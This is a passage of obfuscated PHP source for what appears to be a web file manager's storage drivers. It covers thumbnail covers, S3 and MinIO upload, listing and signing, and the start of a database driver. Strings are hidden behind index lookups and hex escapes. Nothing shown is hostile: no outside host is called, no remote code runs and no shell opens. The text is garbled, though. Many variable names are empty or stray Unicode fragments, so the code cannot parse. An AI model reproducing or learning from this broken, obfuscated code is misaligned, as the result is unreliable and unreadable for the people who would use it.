$ʆ; $Ȱ = $[$[184]]; if ($Ȱ && isset($Ȱ[$[185]])) { if ($Ȱ[$[185]] <= $ && $Ȱ[$[186]] <= $) { $ = !0; } } } if ($[$[79]] <= 1024 * 50 || $ || !function_exists($[187]) || $[$[169]] == $[188]) { return $this->fileOut($剨, !1, $[$[32]]); } $ = kodIO::hashPath($); $禱 = "\x63\x6f\166\x65\162\137{$}\137{$}\x2e\160\x6e\147"; $ = IO_PATH_SYSTEM_TEMP . $[189]; $ = IO::infoFullSimple($); $è = $ && is_array($) ? $[$[87]] : $[12]; if (!$è) { $è = IO::mkdir($); } if ($[$[190]] == $[191] && isset($[$[192]]) && $[$[192]] == kodIO::sourceID($è)) { $ = $[$[193]]; if ($ <= 500) { $ެ즁 = preg_replace($[194], $[195], $[$[32]]); $ = IO::fileNameExist($è, $ެ즁); } return IO::fileOut(KodIO::make($), !1, $[$[32]]); } $ݹ = IO::fileNameExist($è, $禱); if ($ݹ) { return IO::fileOut(KodIO::make($ݹ), !1, $[$[32]]); } if ($ > 1000) { $this->makeImageCover($è, $剨, $禱, $); $this->makeImageCover($è, $剨, "\143\x6f\x76\x65\162\137{$}\137\x32\65\x30\x2e\x70\156\147", 250); $ݹ = IO::fileNameExist($è, $禱); if ($ݹ) { return IO::fileOut(KodIO::make($ݹ), !1, $[$[32]]); } die; } if (!kodIO::allowCover($)) { return $this->fileOut($剨, !1, $[$[32]]); } $Ї = Cache::get($禱); if ($Ї == $[196] || $Ї == $[197]) { echo $Ї; die; } Cache::set($禱, $[197], 60); $Ǭ = array($è, $[$[87]], $禱, $); $ = $[198] . $[$[79]] . $[199] . $禱 . $[200] . $[$[32]] . $[201] . $[$[87]]; TaskQueue::add($[202], $Ǭ, $, $禱); } public function makeImageCover($켙, $, $, $) { $ =& $_SERVER[秼]; if (IO::fileNameExist($켙, $)) { return $[203]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $; del_file($); $ = IO::copy($, TEMP_FILES, !1, $); if (!@file_exists($)) { return $[204]; } ImageThumb::createThumb($, $, $, $ * 10); if (@file_exists($)) { Cache::remove($); return IO::move($, $켙); } Cache::set($, $[196], 600); del_file($); return $[205] . $ . $[74]; } public function fileOutImageServer($, $ԯ = 250) { $this->fileOutImage($, $ԯ); } public function fileNameAuto($, $, $Лވ = REPEAT_RENAME, $ҟ = false) { $ɽ =& $_SERVER[秼]; $駦 = $ === $ɽ[12] ? $ : rtrim($, $ɽ[8]) . $ɽ[8] . $; if ($Лވ == REPEAT_REPLACE || !$this->exist($駦) || $ҟ && $Лވ != REPEAT_RENAME_FOLDER) { return $; } if ($Лވ == REPEAT_SKIP) { return !1; } $ = $ɽ[10] . get_path_ext($); $ = $ == $ɽ[10] || $ҟ ? $ɽ[12] : $; $Ѯ = 1; $ = substr($, 0, strlen($) - strlen($)); $ߴ = $ . "\x28{$Ѯ}\51{$}"; while ($this->exist(rtrim($, $ɽ[8]) . $ɽ[8] . $ߴ)) { $ߴ = $ . "\x28{$Ѯ}\x29{$}"; $Ѯ++; } return $ߴ; } private function fileNameAutoList($, $, $ = false) { $ =& $_SERVER[秼]; $ = $this->listPath($, !0); $ = array_merge($[$[85]], $[$[86]]); $˂ = array_to_keyvalue($, $[12], $[32]); $ᴤ = $[10] . get_path_ext($); $ᴤ = $ᴤ == $[10] || $ ? $[12] : $ᴤ; $מ˔ = substr($, 0, strlen($) - strlen($ᴤ)); $ = $מ˔ . "\50\x30\x29{$ᴤ}"; for ($ɝ = 1; $ɝ <= count($˂) + 1; $ɝ++) { $ = $מ˔ . "\50{$ɝ}\x29{$ᴤ}"; if (!in_array_not_case($, $˂)) { return $; } } return $; } public function listAllFiles($, $߱) { $ʁ륻 =& $_SERVER[秼]; if (empty($߱)) { return array(); } $DZ = array_keys($߱); $ = array(); $ = trim($, $ʁ륻[8]); foreach ($߱ as $ => $) { $ = ltrim(substr(trim($, $ʁ륻[8]), strlen($)), $ʁ륻[8]); if (substr($, -1) == $ʁ륻[8]) { $ = rtrim($, $ʁ륻[8]) . $ʁ륻[8]; } $ = array_merge($, $this->slicePath($)); } $ѕ = array(); foreach (array_unique($) as $) { $ = array($ʁ륻[87] => $this->getPathOuter($ʁ륻[8] . $ . $ʁ륻[8] . $), $ʁ륻[78] => 1, $ʁ륻[79] => 0); if (substr($, -1) != $ʁ륻[8]) { $[$ʁ륻[78]] = 0; $ = $this->getPath($ . $ʁ륻[8] . $); if (isset($߱[$])) { $ = $߱[$]; if (isset($[$ʁ륻[79]])) { $[$ʁ륻[79]] = intval($[$ʁ륻[79]]); } if (isset($[$ʁ륻[206]])) { $[$ʁ륻[88]] = intval($[$ʁ륻[206]]); } } } $ѕ[] = $; } return $ѕ; } public function slicePath($۱) { $樀 =& $_SERVER[秼]; $ = explode($樀[8], trim($۱, $樀[8])); $ = 0; do { ++$; $[] = implode($樀[8], array_slice($, 0, $)) . $樀[8]; } while ($ < count($)); $[count($) - 1] = $۱; return $; } public function getHost() { $媝 =& $_SERVER[秼]; $ܶ = parse_url(trim($this->domain, $媝[8])); $Թ = isset($ܶ[$媝[207]]) ? $ܶ[$媝[207]] : http_type(); $ = isset($ܶ[$媝[208]]) ? $ܶ[$媝[208]] : $ܶ[$媝[87]]; if (isset($ܶ[$媝[209]])) { $ .= $媝[4] . $ܶ[$媝[209]]; } return $Թ . $媝[210] . $; } public function pathEncode($) { $ =& $_SERVER[秼]; return str_replace($[211], $[8], rawurlencode($)); } public function writeLog($ˑ = '', $ = false) { $˂ =& $_SERVER[秼]; $э = in_array(ACTION, array($˂[212], $˂[213])); if (!$э && !GLOBAL_DEBUG) { return; } $ո = $ˑ; static $짺 = null; if (!$짺) { $짺 = strtoupper($this->getType()); } $ˑ = $짺 . $˂[214] . $ˑ; if ($) { $ٕ = error_get_last(); if ($ٕ) { $ˑ = array($ˑ, $ٕ); } } write_log($ˑ, $˂[215]); if ($э) { throw new Exception($ո); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($Ŵ) { set_timeout(); require_once SDK_DIR . $_SERVER[秼][216]; parent::__construct(); $this->_init($Ŵ); } public function _init($Ҏ) { $˘ =& $_SERVER[秼]; $this->config = $Ҏ; foreach ($Ҏ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $Ҏ[$˘[217]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $ = $this->getHost(); if (!get_url_scheme($this->endpoint) && substr($, 0, 7) == $˘[218]) { $ = $˘[219] . substr($, 7); } $this->client->setEndpoint($); if (in_array(ACTION, array($˘[212], $˘[213]))) { $this->client->setExceptions(); } } public function setSignVersion($α = "\x76\x34") { $this->signVer = $α; $this->client->setSignVersion($α); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $) { return null; } } public function isBucketCors() { $ =& $_SERVER[秼]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$[220]])) { $[$[220]] = explode($[50], $[$[220]]); } if ($[$[221]] != $[222] || !in_array($[222], $[$[220]])) { return !1; } $ = array_map($[223], $[$[224]]); if (!is_array($)) { $ = array(); } $ = array($[225], $[226], $[227], $[228], $[229]); $ = array_diff($, $); return empty($); } public function getBktRegion() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($, $ = '', $Ǖ = REPEAT_RENAME) { $ռ = $this->setContent($, $); if ($ռ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $Ȣ =& $_SERVER[秼]; if (empty($) && $ !== $Ȣ[230]) { return !1; } if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } $ = $this->setContent($, $Ȣ[12], !0); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($ђ, $ǂ, $ң = array()) { $赑 =& $_SERVER[秼]; $ = $this->objectMeta($ђ); if (!$) { return !1; } if ($[$赑[79]] <= 1024 * 1024 * 200) { $𨕝 = $this->client->copyObject($this->bucket, $ђ, $this->bucket, $ǂ, $赑[231], $ң); } else { $𨕝 = $this->client->multiCopyObject($this->bucket, $ђ, $this->bucket, $ǂ, $ң); } $𨕝 = $𨕝 ? $this->getPathOuter($ǂ) : !1; return $𨕝; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($ǣ) { return $this->client->deleteObject($this->bucket, $ǣ); } public function delFolder($ë) { $հ =& $_SERVER[秼]; if (!$this->exist($ë)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ë); $this->listItemCache = !0; $ߞߞ = trim($ë, $հ[8]) . $հ[8]; if (!empty($ë) && $ë !== $հ[230] && !in_array($ߞߞ, $[$հ[85]])) { $[$հ[85]][] = $ߞߞ; } $ = $this->delByBatch($[$հ[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$հ[85]]); if (!$) { return !1; } return $this->delFile($ߞߞ); } private function delByBatch($͆) { foreach (array_chunk($͆, 1000) as $ʻ) { $ƫ = $this->client->deleteObjects($this->bucket, $ʻ); if (!$ƫ) { return !1; } } return !0; } public function rename($, $ہހ) { return $this->renameObject($, $ہހ); } public function listPath($͟, $ۜѿ = false) { $ =& $_SERVER[秼]; $˲ = $this->fileList($͟, $[8], !0); foreach ($˲[$[85]] as $ٽ => $) { $˲[$[85]][$ٽ] = $this->folderInfo($, $ۜѿ, $); } foreach ($˲[$[86]] as $ٽ => $) { $˲[$[86]][$ٽ] = $this->fileInfo($[$[32]], $ۜѿ, $); } return $˲; } protected function infoChildren($ǒٻ, &$˗) { $Ņ =& $_SERVER[秼]; $ю = $this->fileList($ǒٻ, $Ņ[12], !0); $˗[$Ņ[81]] += count($ю[$Ņ[85]]); $˗[$Ņ[80]] += count($ю[$Ņ[86]]); foreach ($ю[$Ņ[86]] as $) { if (!$ || !$[$Ņ[79]]) { continue; } $˗[$Ņ[79]] += $[$Ņ[79]]; } } private function fileInfo($ڤ, $Ԙ = false, $ = array()) { $䠆 =& $_SERVER[秼]; $ = array($䠆[32] => $this->pathThis($ڤ), $䠆[87] => $this->getPathOuter($ڤ), $䠆[33] => $䠆[232], $䠆[169] => $this->ext($ڤ), $䠆[79] => isset($[$䠆[79]]) ? $[$䠆[79]] : 0); if ($Ԙ) { return $; } $[$䠆[233]] = $[$䠆[88]] = 0; $[$䠆[234]] = $[$䠆[235]] = !0; if (empty($)) { $ = $this->objectMeta($ڤ); if (!$) { return $; } } if (isset($[$䠆[236]]) && $[$䠆[236]]) { $[$䠆[237]] = $[$䠆[236]]; } if (isset($[$䠆[206]])) { $[$䠆[88]] = $[$䠆[206]]; } if (isset($[$䠆[79]])) { $[$䠆[79]] = $[$䠆[79]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $Ὼ =& $_SERVER[秼]; $β = array($Ὼ[32] => $this->pathThis($), $Ὼ[87] => $this->getPathOuter($Ὼ[8] . $), $Ὼ[33] => $Ὼ[78]); if ($) { return $β; } $β[$Ὼ[233]] = $β[$Ὼ[88]] = 0; $β[$Ὼ[234]] = $β[$Ὼ[235]] = !0; if ($ == $Ὼ[12]) { return $β; } if (empty($)) { $ = $this->objectMeta(trim($, $Ὼ[8]) . $Ὼ[8]); } if (isset($[$Ὼ[206]])) { $β[$Ὼ[233]] = $[$Ὼ[206]]; } return $β; } private function fileList($і, $뱧 = '', $ѕ = 0) { $ʵ =& $_SERVER[秼]; $ = rtrim($і, $ʵ[8]) . $ʵ[8]; $ = $this->listObjs($, null, null, $뱧); if (!$) { return array($ʵ[85] => array(), $ʵ[86] => array()); } $м = $ = array(); foreach ($[$ʵ[238]] as $ߗ) { $ = $ߗ[$ʵ[32]]; if ($ == $) { continue; } $ϐ = isset($ߗ[$ʵ[79]]) ? $ߗ[$ʵ[79]] : 0; $̀瓕 = $ϐ == 0 && substr($, strlen($) - 1, 1) == $ʵ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $̀瓕, $ߗ); if ($̀瓕) { $м[] = $; continue; } $[] = $ѕ ? $ߗ : $; } foreach ($[$ʵ[239]] as $ߗ) { $м[] = $ߗ[$ʵ[32]]; $this->cacheMethodInfoSet($ߗ[$ʵ[32]], !0); } $this->cacheMethodInfoSet($і, !0); return array($ʵ[85] => $м, $ʵ[86] => $); } private function listObjs($̽, $䨟 = null, $ = null, $Æ = null) { $쀙 =& $_SERVER[秼]; $̽ = trim($̽, $쀙[8]); $ϊ = empty($̽) && $̽ !== $쀙[230] ? $쀙[12] : $̽ . $쀙[8]; return $this->client->getBucket($this->bucket, $ϊ, $䨟, $, $Æ, !0); } public function has($榈, $ٕ = false, $с = true) { $肘 =& $_SERVER[秼]; $榈 = trim($榈, $肘[8]); $՟ = empty($榈) && $榈 !== $肘[230] ? $肘[12] : $榈 . $肘[8]; $ = null; $Լ = 500; $蟏 = $肘[8]; $ɍ = $ = array(); while (!0) { $ = $this->listObjs($榈, $, $Լ, $蟏); if (!$) { break; } $ = $[$肘[240]]; $ = $[$肘[238]]; $ = $[$肘[239]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$肘[32]] == $՟) { break; } if ($ٕ) { if (count($)) { $ = array_column($, $肘[32]); $ɍ = array_merge($ɍ, $); } if (count($)) { $ = array_column($, $肘[32]); $ = array_merge($, $); } if ($ === null) { break; } continue; } if ($с) { if (!empty($)) { if (count($) > 1 || isset($[0][$肘[32]]) && $[0][$肘[32]] != $՟) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($ٕ) { $ɍ = array_diff($ɍ, array($՟)); $ɍ = count(array_unique($ɍ)); $ = count(array_unique($)); return array($肘[241] => $ɍ, $肘[242] => $); } return !1; } public function listAll($) { $ =& $_SERVER[秼]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($ꕗߣ) { $壨 =& $_SERVER[秼]; $ = $this->client->getAccessControlPolicy($this->bucket, $ꕗߣ); if (!$) { return !1; } return in_array($, array($壨[243], $壨[244], $壨[245])) ? !0 : !1; } public function canWrite($) { $ֿ =& $_SERVER[秼]; $Խ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$Խ) { return !1; } return in_array($Խ, array($ֿ[243], $ֿ[244])) ? !0 : !1; } public function getContent($ƾ) { return $this->client->getObject($this->bucket, $ƾ); } public function setContent($׳з, $ = '', $ה = false) { $ށ =& $_SERVER[秼]; $׳з = $ה ? trim($׳з, $ށ[8]) . $ށ[8] : $׳з; $ = get_file_mime(get_path_ext($׳з)); $ = $this->client->putObject($, $this->bucket, $׳з, $ށ[231], array(), $); if (!$) { return !1; } if ($ה) { return !0; } return $ ? !0 : !1; } public function fileSubstr($ր, $, $ߗݼ) { $Ю = $ + $ߗݼ - 1; return $this->client->getObject($this->bucket, $ր, array($_SERVER[秼][246] => "\x62\x79\164\x65\x73\x3d{$}\55{$Ю}")); } public function upload($ޖ, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[秼]; $ = array($[247] => @md5_file($)); $ԣ딋 = array($[248] => get_file_mime(get_path_ext($ޖ))); if (IO::size($) <= 1024 * 1024 * 200) { $ʺ = $this->client->putObjectFile($, $this->bucket, $ޖ, $[231], $, $ԣ딋); return !empty($ʺ) ? $this->getPathOuter($ޖ) : !1; } $ = $this->client->multiUploadObject($, $this->bucket, trim($ޖ, $[8]), $, $ԣ딋); return $ ? $this->getPathOuter($ޖ) : !1; } public function download($, $У䠃) { if (!@is_dir($this->pathFather($У䠃)) && !IO::mkdir($this->pathFather($У䠃))) { return !1; } $풤 = $this->client->getObject($this->bucket, $, array(), $У䠃); return $풤 !== !1 ? $У䠃 : !1; } public function link($, $ꈥ = array()) { return $this->getPreSignedURL($, 3600 * 12, $ꈥ); } private function getPreSignedURL($, $Ȟ, $Җ = array(), $郫 = "\107\105\124") { $ԗ =& $_SERVER[秼]; $ = trim($, $ԗ[8]); if ($this->signVer == $ԗ[249]) { return $this->client->getPreSignedV2URL($this->bucket, $, $Ȟ, $郫, $Җ); } return $this->client->getPreSignedV4URL($this->bucket, $, $Ȟ, array(), $郫, $Җ); } public function fileOut($ٖ, $ڭ = false, $ҟ = false, $Լߗ = '') { $Ʌ =& $_SERVER[秼]; if ($this->isFileOutServer()) { return $this->fileOutServer($ٖ, $ڭ, $ҟ, $Լߗ); } if (!$ҟ) { $ҟ = $this->pathThis($ٖ); } $ź = get_file_mime(get_path_ext($ҟ)); if ($ź == $Ʌ[250]) { return parent::fileOut($ٖ, $ڭ, $ҟ, $Լߗ); } $Ͻ = array($Ʌ[251] => $ź); if ($ڭ) { $Ͻ[$Ʌ[252]] = $Ʌ[253] . rawurlencode($ҟ); } else { } $̻ = $this->link($ٖ, $Ͻ); $this->fileOutLink($̻); } public function fileOutServer($ϵ, $Ȕ = false, $ = false, $Ҡ = '') { parent::fileOut($ϵ, $Ȕ, $, $Ҡ); } public function fileOutImageServer($, $ك = 250) { parent::fileOutImage($, $ك); } public function hashMd5($, $ = '') { $ = $this->objectMeta($); if (!$) { return !1; } $ = $ ? $ : _get($, $_SERVER[秼][254]); return $; } public function uploadFormData($, $тΐ = 3600) { $ =& $_SERVER[秼]; if (!$this->_isClientAsync()) { $ = $this->getPreSignedURL($, $тΐ, array(), $[255]); return array($[208] => str_replace($[218], $[256], $)); } if (isset($GLOBALS[$[6]][$[92]][$[257]]) && $GLOBALS[$[6]][$[92]][$[257]] == $[230]) { return $this->uploadMultiData($, $тΐ); } if ($this->signVer == $[249]) { return $this->uploadFormDataV2($, $тΐ); } return $this->uploadFormDataV4($, $тΐ); } public function uploadFormDataV2($Ƽ, $ = 3600) { $̍ =& $_SERVER[秼]; $ = $this->pathFather($Ƽ); $ҡ = $this->client->getHttpUploadPostParams($this->bucket, $, $̍[231], $); $ɮ = array_merge((array) $ҡ, array($̍[258] => $̍[249], $̍[208] => $this->getHost())); if ($this->_isClientAsync()) { unset($ɮ[$̍[258]]); } return $ɮ; } public function uploadFormDataV4($ǖ, $忓 = 3600) { $Ɗ =& $_SERVER[秼]; $Ȏ = $Ɗ[231]; $լ = $Ɗ[259]; $ = $Ɗ[62]; $ = gmdate($Ɗ[260]); $ = gmdate($Ɗ[261]); $ = $Ɗ[262]; $̣ = $忓 . $Ɗ[12]; $Πá = $Ɗ[263]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($Ɗ[8], $); $ = array($Ɗ[264] => gmdate($Ɗ[265], strtotime($Ɗ[266])), $Ɗ[267] => array(array($Ɗ[268] => $this->bucket), array($Ɗ[269], $Ɗ[270], $Ɗ[12]), array($Ɗ[269], $Ɗ[271], $Ɗ[12]), array($Ɗ[272] => $Πá), array($Ɗ[273] => $), array($Ɗ[274] => $լ), array($Ɗ[275] => $), array($Ɗ[276] => $̣))); $ͭʺ = base64_encode(json_encode($)); $ĉ = hash_hmac($Ɗ[277], $, $Ɗ[278] . $this->secret, !0); $ = hash_hmac($Ɗ[277], $this->region, $ĉ, !0); $ = hash_hmac($Ɗ[277], $, $, !0); $ᥱ = hash_hmac($Ɗ[277], $, $, !0); $ɓۤ = hash_hmac($Ɗ[277], $ͭʺ, $ᥱ); $О = array($Ɗ[248] => $Ɗ[12], $Ɗ[272] => $Πá, $Ɗ[279] => $ͭʺ, $Ɗ[273] => $, $Ɗ[274] => $լ, $Ɗ[275] => $, $Ɗ[276] => $̣, $Ɗ[280] => $ɓۤ, $Ɗ[258] => $Ɗ[249], $Ɗ[208] => $this->getHost()); if ($this->_isClientAsync()) { unset($О[$Ɗ[258]]); } return $О; } public function uploadMultiData($, $ = 3600) { $ɑ =& $_SERVER[秼]; $ = $this->signVer == $ɑ[249] ? gmdate($ɑ[281]) : gmdate($ɑ[282]); $ܼ = array(); $š = $this->client->getUploadId($this->bucket, $, $ܼ); if (!$š) { return !1; } $ = array($ɑ[283] => $š, $ɑ[208] => $this->getHost() . $ɑ[8] . $this->pathEncode($), $ɑ[284] => $, $ɑ[97] => $, $ɑ[258] => $this->signVer); if ($this->_isClientAsync()) { unset($[$ɑ[258]]); } return $; } public function uploadMultiAuth($, $ = array()) { $쁩 =& $_SERVER[秼]; if ($this->signVer == $쁩[249]) { if (isset($[$쁩[285]])) { return $this->uploadPartAuthV2($, $); } return $this->uploadListAuthV2($, $); } if (isset($[$쁩[285]])) { return $this->uploadPartAuthV4($, $); } return $this->uploadListAuthV4($, $); } public function uploadPartAuthV2($, $ਠ = array()) { $ =& $_SERVER[秼]; $ = $ਠ[$[97]]; $ʰ = gmdate($[281]); $ͷ = array_intersect_key($ਠ, array_flip(array($[285], $[283]))); ksort($ͷ); $ґ = $ͷ ? $[76] . http_build_query($ͷ, null, $[286], PHP_QUERY_RFC3986) : $[12]; $䎐 = array($[255], $[12], $[123], $[12], "\x78\x2d\141\x6d\x7a\55\x64\141\x74\145\72{$ʰ}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $ґ); $ґ = implode($[287], $䎐); $ɚ = $this->client->__getSignature($ґ); return array($[288] => $ɚ, $[284] => $ʰ); } public function uploadListAuthV2($ǰ, $ឆ = array()) { $鄧 =& $_SERVER[秼]; $ܔ = $ឆ[$鄧[97]]; $ю = $ឆ[$鄧[283]]; $ä = $this->client->listParts($this->bucket, $ܔ, $ю); if (!$ä) { return !1; } $ފ = gmdate($鄧[281]); $ݛ = $鄧[289] . $ю; $ = array($鄧[290], $鄧[12], $鄧[123], $鄧[12], "\170\55\141\155\172\x2d\x64\x61\164\x65\72{$ފ}", $鄧[8] . $this->bucket . $鄧[8] . $this->pathEncode($ܔ) . $ݛ); $п = implode($鄧[287], $); $ڪ = $this->client->__getSignature($п); return array($鄧[288] => $ڪ, $鄧[284] => $ފ, $鄧[291] => $ä); } public function uploadPartAuthV4($, $ϋ = array()) { $륐 =& $_SERVER[秼]; $ = $ϋ[$륐[97]]; $ȵ = array($륐[275] => gmdate($륐[282]), $륐[292] => _get($ϋ, $륐[293], hash($륐[277], $륐[12]))); $ʸ = explode($륐[210], $this->getHost()); $մ = array($륐[294] => $ʸ[1], $륐[295] => $륐[12], $륐[248] => $륐[123], $륐[296] => $ϋ[$륐[79]]); $ = $륐[255]; $ = $륐[8] . $this->pathEncode($); $ = array_intersect_key($ϋ, array_flip(array($륐[285], $륐[283]))); $ = $this->client->__getSignatureV4($ȵ, $մ, $, $, $); return array($륐[288] => $, $륐[292] => $ȵ[$륐[292]], $륐[284] => $ȵ[$륐[275]]); } public function uploadListAuthV4($̸, $ƥ = array()) { $̴ =& $_SERVER[秼]; $ = $ƥ[$̴[97]]; $ڨ˹ = $ƥ[$̴[283]]; $ς = $this->client->listParts($this->bucket, $, $ڨ˹); if (!$ς) { return !1; } $ = $̴[297]; foreach ($ς as $) { $ .= $̴[298] . "\x3c\x50\141\x72\x74\x4e\165\x6d\x62\x65\x72\76{$[$̴[299]]}\74\x2f\120\x61\162\164\x4e\x75\155\x62\145\162\x3e\12" . "\74\105\x54\141\147\76{$[$̴[300]]}\x3c\x2f\105\x54\141\147\x3e\12" . $̴[301]; } $ .= $̴[302]; $ܔ = array($̴[275] => gmdate($̴[282]), $̴[292] => hash($̴[277], $)); $ = explode($̴[210], $this->getHost()); $ƻ = array($̴[294] => $[1], $̴[248] => $̴[123], $̴[296] => strlen($)); $ = $̴[290]; $ځČ = $̴[8] . $this->pathEncode($); $ = array($̴[283] => $ڨ˹); $ёԏ = $this->client->__getSignatureV4($ܔ, $ƻ, $, $ځČ, $); return array($̴[288] => $ёԏ, $̴[292] => $ܔ[$̴[292]], $̴[284] => $ܔ[$̴[275]], $̴[291] => $ς); } private function _isClientAsync() { $֩ =& $_SERVER[秼]; static $ = null; if ($ === null) { $֒ = isset($_REQUEST[$֩[303]]) ? json_decode($_REQUEST[$֩[303]], !0) : !1; $ = $֒ && _get($֒, $֩[304]) == $֩[305]; } return $; } public function getHost() { $DŽ =& $_SERVER[秼]; $Ʉ = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($DŽ[70], $DŽ[64], $DŽ[69], $DŽ[62]))) { return $Ʉ . $DŽ[8] . $this->bucket; } if ($this->osType == $DŽ[62] && !is_domain($Ʉ)) { return $Ʉ . $DŽ[8] . $this->bucket; } $Ʉ = explode($DŽ[210], $Ʉ); return $Ʉ[0] . $DŽ[210] . $this->bucket . $DŽ[10] . $Ʉ[1]; } public function size($̟) { $ = $this->objectMeta($̟); return $ ? $[$_SERVER[秼][79]] : 0; } public function info($ɚ) { if ($this->isFolder($ɚ)) { return $this->folderInfo($ɚ); } else { if ($this->isFile($ɚ)) { return $this->fileInfo($ɚ); } } return !1; } public function exist($Ѵ) { return $this->isFile($Ѵ) || $this->isFolder($Ѵ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($͍ۘ) { return $this->cacheMethod($_SERVER[秼][179], $͍ۘ); } protected function objectMeta($ɻ) { return $this->cacheMethod($_SERVER[秼][181], $ɻ); } protected function _objectMeta($) { $ =& $_SERVER[秼]; $ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[254]]) && isset($[$[306]])) { $[$[254]] = $[$[306]]; } } catch (Exception $¥) { $ = !1; } if (!$) { } return $; } protected function _isFolder($ѳ) { $ȸ =& $_SERVER[秼]; $ѳ = rtrim($ѳ, $ȸ[8]) . $ȸ[8]; if ($ѳ == $ȸ[12] || $ѳ == $ȸ[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $ѳ, null, 1); if (empty($[$ȸ[238]])) { return !1; } $ = $[$ȸ[238]][0][$ȸ[32]]; return stripos($, $ѳ) === 0 ? !0 : !1; if (substr($, -1) == $ȸ[8]) { return !0; } if (get_path_this($) == get_path_this($ѳ)) { return !1; } return !0; } public function listObject($𦆝) { return $this->fileList($𦆝, $_SERVER[秼][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { $̹ =& $_SERVER[秼]; parent::__construct($); $this->setSignVersion($̹[249]); if (!$this->region) { $this->region = $̹[307]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ѳ = $this->getBktRegion(); return $this->region == $ѳ ? !0 : !1; } public function uploadFormData($Ħ, $ْ = 3600) { $ӆ =& $_SERVER[秼]; $ܷɈ = $ӆ[231]; $ = $ӆ[259]; $ܯ = $ӆ[62]; $⸘ = gmdate($ӆ[260]); $蹭 = gmdate($ӆ[261]); $厧 = $ӆ[262]; $Î = $ْ . $ӆ[12]; $ = $ӆ[263]; $ = array($this->accessKey, $蹭, $this->region, $ܯ, $厧); $ = implode($ӆ[8], $); $ = array($ӆ[264] => gmdate($ӆ[265], strtotime($ӆ[266])), $ӆ[267] => array(array($ӆ[268] => $this->bucket), array($ӆ[308] => $ܷɈ), array($ӆ[269], $ӆ[270], $ӆ[12]), array($ӆ[269], $ӆ[271], $ӆ[12]), array($ӆ[269], $ӆ[309], $ӆ[12]), array($ӆ[272] => $), array($ӆ[273] => $), array($ӆ[274] => $), array($ӆ[275] => $⸘), array($ӆ[276] => $Î))); $ꁬ = base64_encode(json_encode($)); $ = hash_hmac($ӆ[277], $蹭, $ӆ[278] . $this->secret, !0); $ = hash_hmac($ӆ[277], $this->region, $, !0); $ў = hash_hmac($ӆ[277], $ܯ, $, !0); $Džӕ = hash_hmac($ӆ[277], $厧, $ў, !0); $ = hash_hmac($ӆ[277], $ꁬ, $Džӕ); $Ƥ = array($ӆ[248] => $ӆ[12], $ӆ[296] => $ӆ[12], $ӆ[308] => $ܷɈ, $ӆ[272] => $, $ӆ[279] => $ꁬ, $ӆ[310] => $, $ӆ[311] => $, $ӆ[312] => $⸘, $ӆ[313] => $Î, $ӆ[314] => $, $ӆ[208] => $this->getHost()); return $Ƥ; } } goto cܗ; FѪ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($⭺) { $this->pathParse = $⭺; $this->model = Model($_SERVER[秼][1430]); } public function getPath($Ϊۢ) { return trim($Ϊۢ, $_SERVER[秼][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[秼][192]] : !1; } public function pathThis($ǐ) { $͒ = $this->infoSimple($ǐ); return $͒ ? $͒[$_SERVER[秼][32]] : !1; } public function getPathOuter($Đ) { if (!$Đ) { return $Đ; } $ۤԥ = $this->parse($Đ); return KodIO::make($ۤԥ[$_SERVER[秼][486]]); } public function copyFolderFromIO($, $ᰰ, $ɱ, $, $) { $ = $this->model->copyFolderFromIO($, $ᰰ, $ɱ, $, $); return KodIO::make($); } public function isParentOf($ř, $) { return $this->model->isParentOf($ř, $); } public function mkfile($, $Ϗ = '', $ϳ = REPEAT_RENAME) { $ =& $_SERVER[秼]; $ڴ = $this->parse($); $ = $ڴ[$[486]]; for ($牺 = 0; $牺 < count($ڴ[$[1431]]); $牺++) { $ȵ = $ڴ[$[1431]][$牺]; if ($牺 == count($ڴ[$[1431]]) - 1) { $ = $this->model->mkfile($, $ȵ, $Ϗ, $ϳ); break; } $ = $this->model->mkdir($, $ȵ, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($Ӌ, $ٰ = REPEAT_SKIP) { 